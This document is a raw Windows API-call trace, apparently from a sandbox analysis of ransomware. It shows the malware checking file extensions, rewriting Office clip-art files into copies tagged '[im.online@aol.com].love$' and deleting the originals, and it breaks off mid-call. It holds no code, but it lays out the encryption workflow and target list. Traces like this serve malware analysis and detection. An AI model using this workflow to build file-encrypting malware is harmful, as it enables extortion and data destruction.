lstrlenW (lpString=".dbf") returned 4 [0268.811] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0268.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.811] lstrlenW (lpString=".1cd") returned 4 [0268.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0268.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099174.WMF") returned 68 [0268.811] lstrlenW (lpString=".jpg") returned 4 [0268.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0268.812] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0268.812] lstrlenW (lpString="J0099175.WMF") returned 12 [0268.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.815] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9744) returned 1 [0268.815] CloseHandle (hObject=0x304) returned 1 [0268.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 0x220 [0268.816] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0268.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0268.817] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.817] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0268.819] GetLastError () returned 0x0 [0268.819] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x2610, lpOverlapped=0x0) returned 1 [0268.823] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x2620, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2620, lpOverlapped=0x0) returned 1 [0268.825] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0268.825] WriteFile (in: hFile=0x57c, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0268.825] SetEndOfFile (hFile=0x57c) returned 1 [0268.826] CloseHandle (hObject=0x57c) returned 1 [0268.826] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0268.826] SetEndOfFile (hFile=0x304) returned 1 [0269.050] CloseHandle (hObject=0x304) returned 1 [0269.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099175.wmf")) returned 1 [0269.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.053] lstrlenW (lpString=".doc") returned 4 [0269.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.053] lstrlenW (lpString=".docx") returned 5 [0269.053] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0269.053] lstrlenW (lpString=".pdf") returned 4 [0269.053] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.053] lstrlenW (lpString=".xls") returned 4 [0269.053] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.053] lstrlenW (lpString=".xlsx") returned 5 [0269.053] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0269.053] lstrlenW (lpString=".ppt") returned 4 [0269.053] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString=".zip") returned 4 [0269.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.054] lstrlenW (lpString=".rar") returned 4 [0269.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString=".bz2") returned 4 [0269.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString=".7z") returned 3 [0269.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString=".dbf") returned 4 [0269.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString=".1cd") returned 4 [0269.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString=".jpg") returned 4 [0269.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.054] lstrlenW (lpString=".doc") returned 4 [0269.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.054] lstrlenW (lpString=".docx") returned 5 [0269.054] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0269.054] lstrlenW (lpString=".pdf") returned 4 [0269.055] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.055] lstrlenW (lpString=".xls") returned 4 [0269.055] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.055] lstrlenW (lpString=".xlsx") returned 5 [0269.055] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0269.055] lstrlenW (lpString=".ppt") returned 4 [0269.055] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.055] lstrlenW (lpString=".zip") returned 4 [0269.055] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.058] lstrlenW (lpString=".rar") returned 4 [0269.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.058] lstrlenW (lpString=".bz2") returned 4 [0269.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.058] lstrlenW (lpString=".7z") returned 3 [0269.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.058] lstrlenW (lpString=".dbf") returned 4 [0269.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.058] lstrlenW (lpString=".1cd") returned 4 [0269.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099175.WMF") returned 68 [0269.058] lstrlenW (lpString=".jpg") returned 4 [0269.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.059] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.059] lstrlenW (lpString="J0099178.WMF") returned 12 [0269.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.060] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3606) returned 1 [0269.060] CloseHandle (hObject=0x304) returned 1 [0269.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 0x220 [0269.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.061] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.061] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.063] GetLastError () returned 0x0 [0269.063] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0xe16, lpOverlapped=0x0) returned 1 [0269.067] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe20, lpOverlapped=0x0) returned 1 [0269.070] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.070] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.070] SetEndOfFile (hFile=0x4ac) returned 1 [0269.070] CloseHandle (hObject=0x4ac) returned 1 [0269.071] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.071] SetEndOfFile (hFile=0x304) returned 1 [0269.077] CloseHandle (hObject=0x304) returned 1 [0269.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099178.wmf")) returned 1 [0269.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.080] lstrlenW (lpString=".doc") returned 4 [0269.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.080] lstrlenW (lpString=".docx") returned 5 [0269.080] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0269.080] lstrlenW (lpString=".pdf") returned 4 [0269.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.080] lstrlenW (lpString=".xls") returned 4 [0269.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.081] lstrlenW (lpString=".xlsx") returned 5 [0269.081] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0269.081] lstrlenW (lpString=".ppt") returned 4 [0269.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.081] lstrlenW (lpString=".zip") returned 4 [0269.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.081] lstrlenW (lpString=".rar") returned 4 [0269.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.081] lstrlenW (lpString=".bz2") returned 4 [0269.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.081] lstrlenW (lpString=".7z") returned 3 [0269.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.081] lstrlenW (lpString=".dbf") returned 4 [0269.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.081] lstrlenW (lpString=".1cd") returned 4 [0269.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.082] lstrlenW (lpString=".jpg") returned 4 [0269.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.082] lstrlenW (lpString=".doc") returned 4 [0269.082] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.082] lstrlenW (lpString=".docx") returned 5 [0269.082] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0269.082] lstrlenW (lpString=".pdf") returned 4 [0269.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.082] lstrlenW (lpString=".xls") returned 4 [0269.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.082] lstrlenW (lpString=".xlsx") returned 5 [0269.082] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0269.082] lstrlenW (lpString=".ppt") returned 4 [0269.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.082] lstrlenW (lpString=".zip") returned 4 [0269.083] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.083] lstrlenW (lpString=".rar") returned 4 [0269.083] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.083] lstrlenW (lpString=".bz2") returned 4 [0269.083] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.083] lstrlenW (lpString=".7z") returned 3 [0269.083] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.083] lstrlenW (lpString=".dbf") returned 4 [0269.083] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.083] lstrlenW (lpString=".1cd") returned 4 [0269.083] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0269.083] lstrlenW (lpString=".jpg") returned 4 [0269.083] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.083] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0269.084] lstrlenW (lpString="J0099179.WMF") returned 12 [0269.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.088] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=9154) returned 1 [0269.088] CloseHandle (hObject=0x304) returned 1 [0269.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0269.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0269.089] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.089] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.091] GetLastError () returned 0x0 [0269.091] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x23c2, lpOverlapped=0x0) returned 1 [0269.315] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0x23d0, lpOverlapped=0x0) returned 1 [0269.318] ReadFile (in: hFile=0x304, lpBuffer=0x311f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.318] WriteFile (in: hFile=0x4ac, lpBuffer=0x311f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x311f020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.318] SetEndOfFile (hFile=0x4ac) returned 1 [0269.318] CloseHandle (hObject=0x4ac) returned 1 [0269.319] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.319] SetEndOfFile (hFile=0x304) returned 1 [0269.326] CloseHandle (hObject=0x304) returned 1 [0269.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.327] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0269.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.331] lstrlenW (lpString=".doc") returned 4 [0269.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.331] lstrlenW (lpString=".docx") returned 5 [0269.331] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0269.331] lstrlenW (lpString=".pdf") returned 4 [0269.331] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.331] lstrlenW (lpString=".xls") returned 4 [0269.331] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.331] lstrlenW (lpString=".xlsx") returned 5 [0269.332] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0269.332] lstrlenW (lpString=".ppt") returned 4 [0269.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.332] lstrlenW (lpString=".zip") returned 4 [0269.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.332] lstrlenW (lpString=".rar") returned 4 [0269.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.332] lstrlenW (lpString=".bz2") returned 4 [0269.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.332] lstrlenW (lpString=".7z") returned 3 [0269.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.332] lstrlenW (lpString=".dbf") returned 4 [0269.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.332] lstrlenW (lpString=".1cd") returned 4 [0269.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.332] lstrlenW (lpString=".jpg") returned 4 [0269.333] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.333] lstrlenW (lpString=".doc") returned 4 [0269.333] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.333] lstrlenW (lpString=".docx") returned 5 [0269.333] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0269.333] lstrlenW (lpString=".pdf") returned 4 [0269.333] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.333] lstrlenW (lpString=".xls") returned 4 [0269.333] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.333] lstrlenW (lpString=".xlsx") returned 5 [0269.333] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0269.333] lstrlenW (lpString=".ppt") returned 4 [0269.333] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.334] lstrlenW (lpString=".zip") returned 4 [0269.334] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.334] lstrlenW (lpString=".rar") returned 4 [0269.334] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.334] lstrlenW (lpString=".bz2") returned 4 [0269.334] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.334] lstrlenW (lpString=".7z") returned 3 [0269.334] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.334] lstrlenW (lpString=".dbf") returned 4 [0269.334] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.334] lstrlenW (lpString=".1cd") returned 4 [0269.334] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0269.334] lstrlenW (lpString=".jpg") returned 4 [0269.335] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.335] lstrcmpiW (lpString1=".WMF", 